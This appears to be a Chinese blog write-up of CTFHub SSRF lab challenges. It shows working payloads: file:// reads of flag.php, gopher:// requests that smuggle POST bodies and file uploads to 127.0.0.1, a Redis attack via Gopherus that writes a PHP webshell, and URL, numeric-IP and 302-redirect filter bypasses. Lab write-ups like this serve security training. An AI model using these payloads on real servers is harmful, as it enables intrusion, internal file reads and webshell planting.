• 【CTFHUB】SSRF绕过方法之靶场实践(二)


    SSRF POST请求

    提示信息:
    这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

    首先测试了http的服务请求,出现对话框
    image.png
    输入数值后提示:只能接受来自127.0.0.1的请求

    右键查看源码发现key值

    image.png

    通过file协议读取flag.php页面的源码
    构造 Payload:

    ?url=file:///var/www/html/flag.php
    
    • 1

    flag.php源码如下

    <?php
    
    error_reporting(0);
    
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
        echo "Just View From 127.0.0.1";
        return;
    }
    
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    
    if (isset($_POST["key"]) && $_POST["key"] == $key) {
        echo $flag;
        exit;
    }
    ?>
    
    <form action="/flag.php" method="post">
    	<input type="text" name="key">
    	<!-- Debug: key=<?php echo $key;?>-->
    </form>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    尝试使用gopher 协议向服务器发送 POST 包,构造 gopher协议所需的 POST请求:

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    
    key=fb00a2abc4b635472a398e19c222e665
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

    需要对构造的请求包进行两次 URL编码:

    一、将构造好的请求包进行第一次 URL编码:

    image.png

    在第一次编码后的,将%0A替换为%0D%0A。
    因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

    二、二次URL编码得到如下 Gopher请求内容:

    image.png

    curl功能向目标发送 POST请求,构造如下Payload:

    ?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dfb00a2abc4b635472a398e19c222e665
    
    • 1

    返回的页面请求如下
    image.png

    上传文件

    提示信息:这次需要上传一个文件到flag.php了.祝你好运

    进入到页面中,会看到是文件上传的页面,但是没有提交页面的请求,那么首先就在前端页面构造一个submit的请求方式。
    (仿照"浏览"按钮)

    点击提交的同时burp抓包

    然后将其POST的/flag.php添加地址127.0.0.1,然后再将其整个POST请求包进行URL编码

    之后将%0A替换成%0D%0A,进行第二次编码。

    然后返回到起始的上传文件页面之后,抓取GET请求包

    最后将GET请求包中的目录进行替换,替换成方才二次编码好的数据。之后在前面添加gopher://127.0.0.1:80的地址,注意“_”不可或缺,之后发送请求包就可以得到flag

    redies协议

    提示:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

    1.在kali上面输入命令:

    python gophers.py --exploit redis
    
    • 1

    然后选择攻击模式和构造shell
    第一个选项这里我们填写php,因为我们需要的是phpshell
    第二个选项可以不填,默认根路径为/var/www/html
    第三个就写入我们的shell代码


    最后会生成指定的URL编码,认的写入文件名是shell.php 命令参数是qq

    进行第二次url编码时,不需要再将%0a换为%0d%0a了,因为生成的payload已经替换

    然后二次编码之后,输入payload之后显示504 Gateway Time-out,就代表了我们成功写入shell了,蚁剑连接查看就可以得到flag或者可以用get请求的方式直接回显在页面上

    URL Bypass

    提示信息:
    请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。
    利用@符号

    构造PAYLOAD

    http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    
    • 1

    数字IP Bypass

    提示信息;
    这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

    构造payload

    http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://017700000001#十六进制
    
    • 1

    http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=http://2130706433
    
    • 1

    1

    302跳转 Bypass

    提示信息:
    SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

    http://127.0.0.1/flag.php  # 将这条链接生成短链接
    
    • 1

    利用如下生成短链接:
    https://www.toolnb.com/tools/duanwangzhi.html

    http://challenge-27d5969fefffeb6b.sandbox.ctfhub.com:10800/?url=https://shorturl.at/lwADO
    
    • 1

  • 相关阅读:
    《Head First HTML5 javascript》第3章 探索浏览器 知识点总结
    Linux sudo -i取消密码的方法
    第三次上机作业 大连理工大学
    java计算机毕业设计web企业档案管理系统MyBatis+系统+LW文档+源码+调试部署
    信息化发展62
    airplay:实现
    PostgreSQL数据库缓冲区管理器——本地缓冲区管理
    我将独自升级!-- 锁升级
    【二叉树魔法:链式结构与递归的纠缠】
    SpringBoot之spring-boot-devtools热部署
  • 原文地址:https://blog.csdn.net/Continuejww/article/details/133212770